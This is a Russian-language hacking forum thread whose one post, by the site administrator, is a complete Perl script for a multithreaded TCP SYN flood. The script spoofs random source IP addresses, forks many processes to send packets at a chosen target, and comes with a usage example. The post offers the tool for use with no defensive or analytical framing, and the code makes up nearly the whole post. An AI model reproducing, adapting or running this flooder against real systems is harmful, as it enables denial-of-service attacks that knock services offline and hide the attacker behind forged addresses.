06:24
Обновить
Multithreads packet flooder with counterfeit ip - Форум
| RSS



[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: aka_kludge, LeadyTOR 
Форум » взЛОм » ПроГраММы для взлома » Multithreads packet flooder with counterfeit ip
Multithreads packet flooder with counterfeit ip
aka_kludgeДата: Четверг, 29.10.2009, 22:29 | Сообщение # 1
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
Code
#!/usr/bin/perl

#Multithreads packet flooder with counterfeit ip
#Need additional perl module Net::RawIP (search.cpan.org)
#Using example: perl dos.pl -i 127.0.0.1 -n 10000 -t 100

#Cyber Lords Community
#http://www.cyberlords.net

require 'getopts.pl';
use Net::RawIP;
Getopts('i:n:t:');

die "Usage $0 -i <target> -n <number of packets> -t <number of threads>"

unless ($opt_i && $opt_n && $opt_t);
$pids = $opt_t;

#@flags=('urg','fin','syn','psh');

print "\n\nTarget: $opt_i";
print "\nThreads: $pids\n";
print "\nAttacks: $opt_n\n\n";

while($x<$opt_n){
     for ($i=0;$i<=$pids;$i++) {
  $x++;
  if ($pid=fork()) {
      push(@forked,$pid);
  }
  else {

      ##########SEND PACKET#########
      $a = new Net::RawIP;
      $opt_s=int(rand(255)).".".int(rand(255)).".".int(rand(255)).".".int(rand(255));

      #$flag=@flags[int(rand(@flags))];

      $a->set({ ip => {saddr => $opt_s,
        daddr => $opt_i
   },
    tcp => {dest => int(rand(65536)),
        source => int(rand(65536)),
    urg => 0,
    fin => 0,
    syn => 1,
    psh => 0}
      });

      $a->send;
##############################

      print ".";
   exit;
      }
     }

     killpidz();
}

sub killpidz {
   foreach (@forked) {
     chomp;
     waitpid($_,0);
     kill("TERM" => $_)
   }
   undef @forked;
}
 
Форум » взЛОм » ПроГраММы для взлома » Multithreads packet flooder with counterfeit ip
Страница 1 из 11
Поиск:

Профиль
ИнформацияУправление
Сегодня: 24, 24.09.2017, 06:24
Вы используете: " v "
ВаШ внешний IP: "54.224.49.217"
У вас новых личных сообщений · Мой профиль | Выход




    Главная      
...
На службе : дней

06:24
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск

...



Друзья сайта

ГеоИнфоКом


Miranda Инфо

Метеориты

Остаться в живых - LOST. Лучший сайт сериала.

Метеориты

Hackersoft

hackings.ru

Схемы дл<a href=


Обмен cсылками
ITbuben - IT-шные блоги, сообщества, Windows, Linux, Web, Программирование, Интернет, Юмор, Софт


Copyright tHR - TeAM 2017 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, HanaBi ... Яндекс.Метрика